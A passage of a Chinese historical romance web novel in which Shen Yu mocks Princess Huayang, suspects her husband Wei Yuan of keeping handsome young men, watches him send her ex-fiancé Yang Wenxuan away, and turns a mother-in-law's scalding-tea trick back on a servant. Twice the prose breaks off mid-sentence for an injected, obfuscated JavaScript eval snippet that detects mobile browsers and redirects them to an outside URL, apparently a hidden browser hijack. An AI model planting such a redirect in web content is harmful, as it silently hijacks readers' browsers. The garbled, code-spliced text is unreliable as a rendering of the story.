华阳公主高高地坐在马背上，身上穿着一套耀目的红石榴裙，头上戴着金翅凤钗，并未因自己的婢女被打而露出什么异色，只是用睥睨的神色看着车中的女子，将她上下打量一番后露出个讥嘲的笑，口中吐出两个字：“狐媚。” 作为曾经高高在上的公主，她对沈钰没什么印象，只觉得有些眼熟，以前似在宫宴上见过。 一个从前只能在宫宴中坐在边角位置，都不大能走到她跟前的人，如今竟然抢走了她相中的驸马，真是令人恼火。 秋婵见她张口就骂自家小姐，气得想把手中马鞭挥在她脸上，又碍于她的身份不敢动手。 沈钰则不以为然，脸上甚至还挂着几分浅笑，温声回道：“公主还似从前那般明艳动人。” 这样的奉承话华阳公主听得多了。她不屑地冷哼一声，正想说别以为说几句好听的我就会给你什么好脸色，就听沈钰继续道：“一点都不像死了爹娘亡了国的样子。” 这话实在是尖锐又狠辣，跟照着华阳公主的面门扇了一耳光有什么区别? 华阳公主大怒，骂了一声贱妇，扬起手中马鞭就对车中人甩去。 秋婵正想用手中车帘卷住那马鞭，却见一道黑影从天而降，一把将马鞭从她手中夺走，之后又朝着她的马臀用力一抽。 马儿吃痛，嘶鸣一声扬起前蹄便冲了出去，险些将马背上的人甩下来。 华阳公主尖叫着被发狂的马带着跑远了，一众随从见状惊呼出声，忙不迭地追了上去，一时无人再顾得上沈钰。 沈钰看看转眼便只余背影的一行人，又看看正把玩着那根镶金嵌玉的马鞭的少年：“这样没事吗?若是华阳公主的马冲撞踩踏了路人怎么办?” 青鸟并不理会她，仍旧自顾自低头把完着那根马鞭。 沈钰今日是乘车出行，要在这街巷中掉头去追定是来不及的，只能吩咐自己身边下人跟去看一看，若有受伤的百姓便及时送到医馆。 一名婢女领命而去，另一名婢女站在车旁，耷拉着脑袋讷讷道：“奴婢学艺不精，惊扰小姐了。” 方才便是她第一个冲上来阻拦了华阳公主的人掀车帘，但后来为了避开迎面而来的马鞭，她下意识闪到了一旁，致使那根鞭子甩进车窗，险些伤了小姐。 沈钰笑着摸了摸她的头，温声道：“你已经做得很好了。” 婢女抿唇，怯怯地抬头看她一眼，红着脸退到了一旁。 青鸟这时大概是将那根马鞭看够了，随手将其塞进腰间，又从腰上扯下一束红绳，扬手抛给了沈钰。 沈钰慌忙接住，见那是用许多红穗编成的十几股红绳，握在手中满满一把。 她不明所以，想问问这是什么?为什么要给她?却见那少年已经三两步飞身跃上一旁的房檐，转头看着他们，一副快点跟上的样子。 沈钰失笑，退回车内吩咐车夫跟他一同回府。 秋婵见那车帘已挂不回去了，随手叠了几下放到一旁，有些担忧地问道：“小姐，华阳公主会不会进宫告你的状啊?听说陛下现在很是宠爱她，万一为她责罚您怎么办?” 虽说方才动手的是卫渊的人，沈钰只是出言讥讽了她两句。但华阳公主心仪卫渊，自然不会记恨他，只会把这笔账记在沈钰头上。 沈钰靠在车座上，无所谓地道：“不过是秋后的蚂蚱罢了，蹦跶不了几天了，不必理会她。” 秋婵不解：“这话如何说?” 沈钰随手把玩着手中红绳，声音不疾不徐：“陛下待她如此仁厚，她却不知收敛，反仗着陛下的仁慈肆意妄为，闹市策马驱赶百姓。如此不识好歹，将来陛下惩处她自然也就名正言顺，谈不上苛待前朝之人了。” 秋婵闻言恍然，两只眼睛亮晶晶地盯着她：“小姐是说陛下这是有意捧杀?” “原本或许真是打算用她来彰显自己的仁德，毕竟经过三年战乱，前朝皇室已经死的不剩几个了，余下的多是老弱妇孺。这般情况下若是再杀，未免显得残暴，容不下人，善待他们反而能落个好名声。” “可陛下总也需要机会敲打一下那些不安分的前朝老臣。直接对他们动手，未免会让人生出唇亡齿寒之感，挑个前朝皇室来杀鸡儆猴正合适。” 君是君，臣是臣。华阳公主这些人既能代表前朝，又不至于让前朝旧臣觉得兔死狐悲。 秋婵抚掌：“这么说的话，那华阳公主确实是最合适的。谁让她跳得这么高呢!” 沈钰颔首：“所以不用担心，她去告状不会让陛下惩处咱们，只会让她自己死得更快。” 新帝征战多年，好不容易登基为帝，怎会真为了得个善待前朝之人的名声就一味纵容华阳公主?眼下不动她，不过是为了等一个更合适的时机罢了。 沈钰甚至怀疑三年前华阳公主等人能顺利从宫中逃脱并存活至今，就是皇帝的人在暗中保护。毕竟那时卫渊就已经派人潜伏在京城了，若是能在皇宫中安插些人手，他们一定会去做。 华阳公主既是前朝皇室的代表人物，又是个女子。留下她不仅能用来彰显自己的仁德，还不必担心有人利用她的身份来复辟前朝，实在是最合适的人选。 秋婵对沈钰的话向来是深信不疑，当即点了点头：“那我就坐等看她倒霉的那天!” ………… 马车缓缓驶入国公府，卫渊得到消息，此时已等在门口。 他伸手将人从车上扶了下来，关切问道：“听说你刚才碰到华阳公主了?怎么样?没事吧?” 沈钰摇头，不着痕迹地将手抽了出来：“没事，你的人来得及时，很快就将她赶走了。” 说着顺势扫了跟在卫渊身旁的几个亲卫一眼。 她才嫁来半个月，平日又都待在内院，不大跟这些人接触，也就没太注意过他们。但现在细看一番，发现确实个个都容貌出众，单看哪个都称得上是美男子，且美得各有千秋。 有人身形伟岸五官俊挺，有人秀美雅致风姿翩翩，有人肤白似雪温润如玉，有人浓眉大眼活泼跳脱，就连年少的青鸟都是剑眉凤眼，脸颊上虽还带着些稚气，但只从如今的相貌便能看出将来必定风采灼人。 可是青鸟……他才十三四岁啊。 卫渊连这么小的孩子都不放过吗?还是说……他就是喜欢将这样的孩子养在身边，然后等他们长大? 沈钰不由起了一层鸡皮疙瘩，虽还未确定他好男风，心中却已生出嫌恶。 卫渊见她一直盯着青鸟，出声问道：“怎么了?他刚才冲撞你了?” 沈钰摇头，晃了晃手中红绳：“没有，就是刚才他突然给了我一束红绳。我不明白是何意，觉得有些奇怪。” 卫渊看着她手上那束红绳，也有些诧异：“这是他刚才从校场的红缨枪上拆下来玩的，怎么给你了?” 青鸟原本正低头数着地上的蚂蚁，听到这猛地抬起头，狠狠地瞪着卫渊。 卫渊不以为意，仍自顾自对沈钰道：“不是什么要紧的东西，你若不喜欢扔了就是。” 说着就要将那束红绳拿过去。 沈钰却将手一收：“既是他辛辛苦苦编的，怎好就这样丢掉?” 说着对青鸟笑道：“多谢你的礼物，待会我让人给你回礼。” 青鸟却像没听到似的，仍旧眼珠子一转不转地盯着卫渊，像要把他盯出个窟窿。 沈钰今日从惠姑他们那里得知秦恪当年曾帮着沈家人收尸，本想当面感谢他一番，但见他此刻并不在这里，也就作罢了，想着待会给青鸟回礼时顺便让人给他也准备一份礼物。 她没在前院久留，略说了几句话便同卫渊一道回了后院。 卫渊问她今日去了哪里，可还开心。她只说自己去见了见从前的亲朋故旧，又去宝相寺给父母上了香，其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15185252|163012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的没有细说。 回屋后简单收拾一番，褪下外出的衣裳换了家常衣衫。 卫渊大半日没见着她，忍不住凑上前将人拥进怀里，嗅闻她身上熟悉的香气。原本只是想抱一抱，佳人入怀后又忍不住想一亲芳泽。 沈钰借口喝茶将人轻轻推开，坐在桌边一边慢慢啜饮一边状似不经意地问道：“我看青鸟年纪不大，身手却很是不错，莫不是打小就在军中摸爬滚打?可我记得军中不收十四岁以下的男子啊。” 卫渊跟屁虫一样黏了上来，顺手将她没有执杯的那只手捉到手中，有一下没一下地揉捏把玩着：“他是我们在太仓扎营时遇到的，饿得要活不下去了，来军营偷米粮。” “那时他才八九岁吧，秦恪见他年纪小，留了他一条性命，给了他些干粮放他回家了。结果没两天，这小子又来了，还是来偷粮食的。” “秦恪打了他几下，给了他顿饭后说若是再来就叫他有去无回。结果过两天他又来了，且还差点真就偷到粮食了。” “他来了三次都不说话，挨打也不吭声，秦恪还以为他是个哑巴，被家人丢弃了，一时心软就把他留下了，想在附近找户好人家将他寄养在那里，给人留些银子做他的嚼用。” “谁知寄养的人还没找到，他就发现这孩子有些不对劲。” 卫渊说着指了指自己的脑袋：“他看着不大聪明，好像脑子有些问题。不仅不说话，也不跟人来往。明明耳朵没问题，却总不理人。除非叫他吃饭，不然你说什么他都当没听见，自己一个人蹲在地上数蚂蚁能数半天。” “那时四方战乱，健全的孩子尚且有许多被父母丢弃，何况是这么个明显不正常的孩子。即便是将他送去寄养，他怕是也不能得到很好的照顾。” “秦恪一时不知该怎么办，问到我这里来。我……” 他当时嫌麻烦，让秦恪要么将人送去寄养，要么把人丢掉，总之不能留在军中。 秦恪也知道行军打仗不能带着这么个孩子，狠下心决定把人送走。结果青鸟像是知道要发生什么，临了要走那天任凭秦恪怎么叫他也不理会，骗他去吃饭他都不去。 秦恪无法，只能硬去拉他想把人带走。谁知这孩子那些时日在军营里吃饱了饭，恢复了力气，竟像个猴子似的在营中窜来窜去，他一时竟抓不住人。 营中人看秦恪被一个孩子耍得团团转，都跑去看热闹，还有人试着也去抓，同样没抓到，不由啧啧称奇。 卫渊是被他们的哄闹声吸引过去的，过去时就看到青鸟挂在一根旗杆上。底下有人正顺着杆子往上爬，觉得这次势必能抓到他了。 结果才爬了一半，就见上面的青鸟忽然往下滑落。 那人以为他要跌下去了，怕他摔着，下意识伸手去接。哪曾想这孩子滑到一半脚下用力一蹬，身姿轻盈如燕地“飞”了出去，正落在不远处的一座营帐上，又借势在营帐上一滚，将将在营帐倒塌前平稳落地。 那营帐因他这一撞垮了半边，他却半点没伤着，轻飘飘落地后又窜了出去，愣是没叫人摸到一片衣角。 有人鼓掌喝彩，有人嘲笑那旗杆上的男人。卫渊在一片哄笑声中叫人取了弓来，在青鸟跃上一辆辎重车时一箭射了过去。 这一箭将将射在青鸟的鞋面前，他再往前一步，射中的就是他的腿了。 四下的笑闹声戛然而止，青鸟也站在车上不再动了，任由秦恪慌张地将他从车上抱下来带到卫渊面前赔罪。 卫渊那时便发现了，这孩子其实一点都不傻，反倒很聪明。 他知道旁人再怎么追逐他也不会伤他，但卫渊不一样。他射出第一箭是警告，若是他再敢乱跑，第二箭便绝不会落空。 这些事说出来未免会显得自己狠厉无情，卫渊话到嘴边转了一圈，索性直接略过这些前情，只说了结果。 “我见他骨骼清奇，是练武的好苗子，尤其是轻身功夫，便将人留下了，专门请了人教导他。” “这孩子也的确不负所望，短短几年便已将轻身功夫练至一流，鲜少能有人比得过他。只不过他到底年纪尚小，身量尚未完全长成，力气不如成年男子，近身功夫还是有些吃亏。” 他自觉这番话毫无问题，却不知刚才突兀的停顿让沈钰生出了不好的念头，心中已将后面的话补成了“秦恪问到我这里来，我见这孩子相貌生得极佳，长大必然是个美男子，便将人留下了。” 沈钰心中恶寒，又恐是自己想错了误会了他，便若无其事地笑道：“国公爷竟还会看骨相?莫非秦恪他们也是因此被你挑中的?” 她说的是“他们”，而不单单是秦恪，想来卫渊来不及为身边所有人都编一套说辞。 卫渊摇头：“那倒不是，他们都是陛下送来的，我看好用就留着了。” 他说得随意，沈钰听了却险些维持不住脸上的假笑。 卫渊随景帝征战多年，坊间传闻里两人好的穿一条裤子，想来景帝应是十分了解他的。 如此了解他的人不给他送貌美姬妾，却给他送一堆绝色美男? 这……这岂不就是实证？ 沈钰只觉汗毛倒竖，猛地将杯中茶一口灌了下去，又拎起茶壶给自己倒了一杯。 卫渊正笑着揉捏她纤细的手指，冷不防那柔荑抽身而去。他掌心一空，顿觉寥落。 23.调任 不对劲，很不对劲。 卫渊擦着刀，回想这几日与沈钰相处的种种，怎么都觉得不对。 虽然沈钰言谈无异笑容温婉，也一如既往地关切他的衣食住行，将与他有关的一切打理得井井有条，但她明显……不大愿意亲近他了。 或许不该这么说，应该说……她不愿意被他亲近了。 毕竟自她进府就从未主动亲近过他，一直是他克制不住单方面地想要靠近。无论是平日里的相处还是床笫间的欢愉，她都是被动接受的那方。 可从前她起码是不排斥的，而现在…… 卫渊面色沉肃，将手中刀哐啷一声放回刀架。 “那日跟着夫人的是谁?把他叫来。” 他说道。 不多时，一身形高壮的汉子来到校场，在廊下抱拳施礼：“国公爷。” 卫渊看着面前人，眉头微蹙：“三日前是你跟着夫人?” “是。” 男人答道。 卫渊又看了看他，想问问秦恪为何派他去，奈何秦恪现在不在这，只能作罢。 “那日夫人都去了哪，见了谁，你仔细说说。” 他刻意强调了“仔细”二字。 男人颔首，沉声开口：“夫人先去了城郊一处田庄，见了些沈家旧部。然后去了宝相寺，出来时遇到了杨文轩杨公子。” 卫渊听到杨文轩三个字，挑了挑眉。正等着听后面的内容，男人却又不说话了。 他深吸一口气，耐着性子问：“还有呢?那些沈家旧部分别是谁?她跟他们说了什么?在宝相寺又跟杨文轩说了什么?” 男人摇头：“不知。” 卫渊虽早料到会是这个结果，但真听到这两个字眼角还是抽了抽：“什么都不知道，那你是去做什么了啊青峦?” “跟随护卫，确保夫人安全。” 名唤青峦的男人一本正经回道。 当时秦恪问卫渊要不要派人跟着，卫渊原话是“确定她安全就好，别的不用管”。秦恪安排下去时说的是“远远跟着确定夫人安全就好，别惊扰了她。” 青峦严格执行了，觉得自己没有任何问题，回话时也理直气壮。 他人高马大，是国公府一众亲兵中身形最魁梧的，向来是先锋敢勇，从未做过哨探，这次完全是被秦恪抓壮丁拉来的。 沈家庄子上的人本就警觉，便是青鸟青锋这种善于隐藏之人去了也不见得能不露马脚，何况他这种本就难以藏身的。 所以他那天压根没有隐藏行迹，就远远地光明正大地跟着沈钰一行人，堪称磊落。 如此磊落，自然不可能偷听到她与人说了什么。因为庄子太大离得太远，而他又被拦在庄子外面没能进去的缘故，甚至都不知道沈钰在里面见了什么人。 卫渊在看到来人是他时就知道自己今日怕是问不出什么了，最终只得无奈地摆了摆手：“你下去吧。” 青峦应诺，施了一礼后便如来时一般脚步沉稳地离开了，丝毫不觉得自己的应对有什么差错。 卫渊虽未从他口中得到什么有用的消息，但起码知道那日沈钰曾见过杨文轩。 杨文轩是沈钰从前的未婚夫，年长她三岁。两人自幼相识青梅竹马，年少便定下了婚约。 后沈父因病去世，沈钰要守孝三年。彼时天下已乱，杨文轩身为家中长子已年近二十，后面一众兄弟都还未成婚。杨家实在等不住，提出退亲。沈钰应了，两人自此解除婚约。 但卫渊知道，他们虽然退了亲，关系却并未受影响，依然相处得不错。当年沈家幕僚断定京城必有灾殃，沈钰第一个想到的是告诉杨家，让他们能及时避祸。同样的，昌平王率军攻城时，杨文轩得知南城门叛军少，最先想到的是告诉沈家，让他们能躲避叛军及时出城。只是没想到，最终的结果不尽如人意。 由此可见他们两家从来没有因为解除婚约而疏远，沈钰和杨文轩也未曾因此就断绝来往。 如今沈钰才回京不久，除了沈家旧部，见的第一个人竟然是杨文轩…… 按青峦刚才所说，两人是偶然遇到的，卫渊也相信沈钰不会刻意约见杨文轩，但她那日回来后便开始疏远他也是事实。 卫渊实在想不出别的原因，思来想去决定还是先把杨文轩解决了。 于是第二天他起了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15229475|163012||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个大早，破天荒地穿上官服去上了朝。 自景帝登基大典后，这还是卫渊第一次上早朝。正等着皇帝升殿的一众官员吓了一跳，纷纷停下私语，面面相觑，开始回想近来有没有发生什么大事，自己的衙门是否出过什么差错，这位国公爷是不是冲着自己来的? 这般忐忑紧张中，景帝终于来了，看到站在大殿最前头的卫渊也颇为惊讶，险些没忍住直接脱口而出问一句“你怎么来了”? 还好话到嘴边想起这是朝会，轻咳一声在御座上坐了下来。 早朝伊始，卫渊并没有上奏发表什么谏言，只半阖着眼沉默旁听着，让人一度以为他睡着了。 待众人该说的都说完，忠和代皇帝询问朝臣是否还有本奏时，他这才缓缓睁开眼，不紧不慢道：“臣听闻太仓府清河县水患频发，当地百姓深受其害，苦不堪言。先太傅之子杨文轩时年二五，颇有才干，曾做过一片治理水患的文章，被当年的工部尚书傅大人评为上佳。” “傅大人早年便是因为治理水患有功而升任工部侍郎，最终做到尚书的位置。他既然如此说，那想来杨公子确实擅长此道。” “如此人才，留在京中未免可惜。不若派他去太仓府帮着新任知府治理清河水患如何?” 此言一出，殿中上下都一时无言。 不是这个建议不好，而是卫渊这番话来得有些莫名其妙。 他一个镇守京城的大将军，一路从南杀到北，提着刀杀穿了大周半壁江山的武将，怎么忽然管起文官的事了?还是地方上的这种政事? 诚然，水患对于当地百姓来说是天大的事，但清河县那小小的地界，于他们这些朝野中人而言实在微不足道，属于是“兵家不争之地”。 卫渊忽然提到这个地方，究竟是真的关心当地民生还是另有目的? 现任工部尚书已出了一脑门子汗，开始思量自己什么时候得罪过这位镇国公，他此番言论是不是在借机敲打自己? 景帝也觉得有些莫名，但这事确实不是什么大事，又是利国利民的，没有道理阻拦，便顺势应下了，当即命吏部的人安排，让杨文轩半月内启程赶赴太仓。 24.规矩 下朝后，景帝将卫渊留了下来,笑问：“平日让你来上朝你推三阻四总是不来，今日这是怎么了?真就只是为了清河县?” “是。”卫渊回道，“太仓知府章茂荣是臣举荐的。清河县属太仓辖下，倘若清河水患不除，太仓百姓不安，便是章茂荣办事不力，也是臣举荐之过了。臣思及此，寝食难安。恰好听闻杨文轩有治水之才，便想将他推举到太仓府。左右那杨文轩不过工部一主事，平日也并不得工部重用，我借去太仓一用想来也无妨。” 景帝上下打量他几眼，嗤了一声：“少在朕面前打马虎眼，我还不知道你?举荐了一个知府就要连一个小小的县城都要管，你哪有那么闲?” “我若是没记错，那杨文轩曾是沈氏的未婚夫吧?你莫不是因此吃味，这才要将人赶出京城?可你这成亲都半个多月了，怎么先前不管他，现在忽然想起他了?” 他说着身子微微前倾，面上浮现揶揄神色：“难不成你夫人近来与他见面了?你觉得两人之间仍有旧情，故而想将人赶走?” 卫渊抿了抿唇，垂眸没有言语。 景帝此人不仅在战场上骁勇强悍，于情场也是个风月老手，鲜有败绩，要猜出他那点小心思实在简单。但他其实并不觉得沈钰跟杨文轩有什么私情，只是觉得杨文轩兴许在沈钰面前说了他的什么坏话，以至沈钰回来后便开始疏远他。 这听起来有些儿戏，也有些丢脸，他便不愿搭腔，只当没听见景帝在说什么。 景帝见状确已明了，不由朗声大笑：“我就说你怎么忽然来上朝，原来是在那姓杨的小儿手里吃了瘪。快跟我说说，他们二人何时见了面?说了什么?怎么就让你如此不高兴了?” 说出来也好让他高兴高兴啊。 卫渊瞟他一眼，知他爱看热闹的毛病又犯了，直接施了一礼道了声“臣告退”，转身就走了，相当之不敬。 景帝却不恼，还在后面笑：“说说怎么了?我又不会告诉别人。” 然后转头去给太后请安时就将此事当个乐子跟太后说了。 太后好笑之余又有些担忧：“那沈氏当真与杨家儿郎藕断丝连?” “怎么可能，”景帝摆手道，“杨家早年就跟沈家退了亲，那杨文轩另娶了妻室，连孩子都生出来了，不过是后来战乱妻儿都过世了。沈氏前些年也嫁了人，最近才和离归京。” “两人这几年都另有姻缘，又一个在京城一个在青州，如何藕断丝连?何况现在沈氏与阿渊成了亲，整日都在他眼皮子底下，能生出什么事来?我看就是阿渊好不容易找到个与自己心上人相似的，处了半个月处出感情了，患得患失。” 太后听了放下心来：“如此也好。阿渊这孩子平日总是死气沉沉的，好像在这世上无甚挂碍，随时都可就死的样子，如今倒是多了几分生气。” 景帝颔首，抚着膝道：“谁说不是呢，从前我总担心他……” 他说到一半停了下来，嗨了一声：“总之现在这样挺好。我就盼着他们早些生个一儿半女的，我好给他们的孩子封赏。不然现在阿渊这个位置，再封便是异姓王了。别说文武百官不愿，他自己也定然不受。您看如今不过封了他个国公，没有收回他的兵权，他就已经不来上朝了。” 这其中固然有卫渊确实懒散不爱理政的缘故，但景帝知道他这也是在刻意避嫌。 自古以来开国重臣就容易陷入“功高震主”的言论之争，卫渊亦然。新朝建立不到半年，就已经不止一人在景帝面前提过卫渊手中权柄太重，要求收回他的兵权云云。有些说话更直接的，几乎就要点明以卫渊之权柄随时都能改天换日了，而这些人大部分都是前朝旧臣。 他们一个个说得好听，什么都是为了他这个皇帝好，其实还不就是党争吗，真当他看不出来呢? 景帝口中含含糊糊地应着，给卫渊的权柄却是一点都没收回来。 跟宫变夺嫡和乍然起兵瞬息暴富的顺天军不同，他爹是因戍守边关有功而获封的老晋阳王，他是从前的晋阳王世子，后来父死子继，承袭了王爵。 他们一家戍边几十年，天下大乱后，他靠着自己的兵马一步一个脚印打过来，身边跟着的几乎都是从前的王府属官。不说个个忠心耿耿，那也绝对都是有实打实的功绩的。 卫渊虽是十年前才进他军中，却战功彪炳，立下无数军功，连军中资历最老的彭大将军对他都没二话。更别说他还数次救他于危难，险些为他丧命。 倘若连这样衷心无二的人都要在他登基后被他忌惮并收回兵权，那与卸磨杀驴有何异?让他身边的一众王府属官如何自处?所以对于前朝旧臣的那些挑拨，他从未放在心上。 他虽想稳定前朝民心，但也知道自己是如何起家的。若是为了这些人而苛待了跟随自己多年的旧部，那才真是本末倒置。 太后听景帝提起孩子，不由又面露忧色：“可我听说那沈氏之前成婚三年未曾有孕，会不会……不大好生养?” 景帝浑不在意：“那有什么?她若生不出，朕在赐几个好生养的给阿渊就是了。等那些妾室生下孩子再记到沈氏名下也是一样的，左右都是阿渊的孩子。 太后闻言轻啐一声：“你可别胡来。阿渊跟你不同，不是多情之人。他年近三十才找到个合心意的，若因你胡乱搅合而与沈氏生分了，那你的罪过可大了。” “沈氏若真不好生养，就先安排几个太医给她调理调理，实在不成再谈纳妾的事。纳妾也得是她或阿渊自己提了才成，你可别上赶着塞人。” 景帝嘿嘿地笑了笑：“儿子省的，不会往他们身边乱塞人的，母后放心吧。” 太后瞪他一眼：“你还没乱塞?看看阿渊身边现在那些……也就是阿渊直肠子，没看出你的用意，不然…… 她说到后面觉得实在没脸，闭上嘴不再言语了。 景帝讪讪：“那不是误会嘛，误会。反正阿渊现在已经成亲了，那些人除了相貌好些，也确实都是有真才实干的，不如就留在他身边。不然现在把人遣走……反倒显得欲盖弥彰。” 太后也知道眼下一动不如一静，只能道：“你以后注意些吧，别再往自己脸上贴金了。” 被自己的母亲戳到痛脚，还是这辈子少见的丢脸事，景帝面皮发胀，应了几声忙不迭地找个借口逃走了。 ………… 沈钰晨起时见身旁无人，心下有些奇怪，待听说卫渊去上朝了，更觉诧异。 她前两日已让人去打听过了，卫渊确实如他所说那般压根就不上朝也不当值。自入京之后，除了起初整顿京城防务那段时间，他根本就没怎么出过国公府的大门。以至于一度有人以为他旧伤发作不久于世，这次匆忙成亲也是为了冲喜。直到三朝回门那日他出现在沈家门前亲自接沈钰回府，这个谣言才不攻自破了。 这样一个闲到长草的人今日竟忽然勤奋起来，起了个大早去上朝了，怎能不让人觉得奇怪? “朝中是出什么事了吗?” 她问道。 秋婵摇头：“没听说。国公爷走时也不见很着急，不像是有什么大事的样子。” 沈钰眉头微蹙，很快又松开。若是真有什么大事，朝中必然传出风声，犯不着现在担心。于是她没再多想，在秋婵的陪同下去了正院给林氏请安。 林氏对卫渊的婚事一直不大满意，对沈钰自然也很不满。虽然卫诚警告过她让她不要刁难沈钰，但她觉得自己作为婆婆给儿媳立一立规矩并不算刁难。 只是从前卫渊总陪着沈钰一道来，她再不喜欢这夫妻俩也知道如今国公府是靠卫渊吃饭的，故而并不敢当着他的面太过为难沈钰。但今日卫渊去上朝了，不在府上。林氏知晓后便决定在这儿媳面前立一立威，好叫她知道不要以为有了卫渊的宠爱就万事大吉了。 沈钰来到正院时，卫清卫汐兄妹已经来了，正站在林氏身旁不知跟她说着什么。林氏一边跟两个孩子说着话，一边将珍哥儿抱在怀里，手中拿着个拨浪鼓逗弄他，笑得一脸慈爱。 卫清卫汐看到沈钰，笑着跟她打了招呼。林氏则像没看见似的，头也没抬，仍旧逗弄着怀中的珍哥儿。 兄妹俩有些尴尬，视线在母亲和三嫂之间来回打转，不知该说什么好。沈钰倒是无所谓，跟往常一样给林氏行过礼后便退到了一旁。 林氏身边有位年长的妈妈，姓袁，跟了她几十年了，是她的心腹。 袁妈妈早得了林氏的吩咐，见沈钰进来便去倒了杯茶端给她，让她去服侍林氏用茶。 沈钰不是第一次给林氏奉茶了，只是往常倒茶的都是房中的大丫鬟双喜，而非袁妈妈。双喜也向来很有眼力劲，在林氏抱着珍哥儿或是与人说话的时候从来不会端茶过来，等她闲了才会将茶递 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沈钰并未如二人所想那般将茶杯接过去，而是伸手轻轻碰了碰杯壁，又再次缩回来，有些诧异地看向袁妈妈：“妈妈在婆母房里伺候多久了?是最近才来的吗?” 袁妈妈一怔，不明所以。 她是夫人房中的老人了，三少夫人便是先前不知，嫁进来这半个多月也该知道了，怎么如今还问出这种话? 她心中不解，但回话时腰杆还是挺得笔直，不无得意地道：“老奴是卫家家生子，十几岁时便跟着夫人，已有三十多年了。” “三十多年了……” 沈钰喃喃一句，然后忽然变了脸，素手一抬就将那盏热茶打翻，泼得她身上脸上到处都是。 这茶端在手里都烫，何况是泼在脸上。袁妈妈当即惊呼一声，捂着脸连连后退，口中因疼痛而惊叫不止。 房中人除了秋婵，都被这一幕吓坏了。卫清卫汐瞠目结舌，林氏则下意识抱着珍哥儿往后躲了躲，生怕那茶水溅到珍哥儿身上。 “沈氏!你……” 她回神后才要呵斥，就见沈钰沉着脸对袁妈妈喝道：“我原以为你是新来的，一时出了差错才端上这样一杯茶。不想你竟已跟在婆母身边三十余年?” “三十年了，连主子喝的茶该几成热都不知道吗?竟敢端杯滚烫的茶水上来。婆母怀里还抱着珍哥儿，倘若这茶不小心洒在珍哥儿身上，你担待得起吗?” 这一阵呵斥将林氏到嘴边的话堵了回去，也让卫清卫汐明白了怎么回事。 袁妈妈此时虽还捂着脸，但从她指缝间露出的痛苦神色便知刚才那杯茶定然有问题。不然她不至于痛这么久，被茶水泼到的地方也不会那么红。 袁妈妈冷不防被热茶泼了一脸，这会儿还被扣个服侍不周的罪名，下意识便要还嘴：“我不是，我没有，是……” “是什么?”沈钰打断，“婆母向来待人宽和，难道还能故意让你这刁奴倒杯热茶来为难我不成?” 袁妈妈一噎，转头看向林氏。 今日这事确实是林氏吩咐的，但眼下几个孩子都在这，还有一众丫鬟仆妇围观。即便大家都知道是怎么回事，她也不可能当众把这口锅甩回给林氏。 眼见林氏面色涨红气得脸都歪了，她只能垂下头，咬牙道：“是老奴的错。老奴上茶前没注意茶汤太烫，险些伤了三少夫人，还请三少夫人责罚。” 沈钰下巴微抬：“你是婆母房中的人，便是犯了再大的错，也该婆母来罚，我就不越俎代庖了。” 她说着又看向林氏：“母亲，我知您为人和善，但对手底下的人也不能太纵容了。也就是今日我发现得及时，不然那杯茶若洒到珍哥儿身上……” 珍哥儿不知是被袁妈妈的惊呼还是被沈钰的厉斥吓到了，这会儿已经哇哇地哭了起来，小脸上挂满了泪水。 林氏轻拍着他的背安抚着，回想刚才沈钰把茶水打翻那一下，仍觉心有余悸。若是当时她的手偏一点，那杯茶就要溅到珍哥儿身上了。 不知是自知理亏还是被沈钰气势所迫，她总觉得沈钰这番话是故意的。她在威胁她，威胁她下次如若再敢找她麻烦，她就去找珍哥儿的麻烦。 林氏将哭成泪人的珍哥儿紧紧抱在怀里，一时也不敢再拿沈钰如何，随便应付几句就将她打发走了。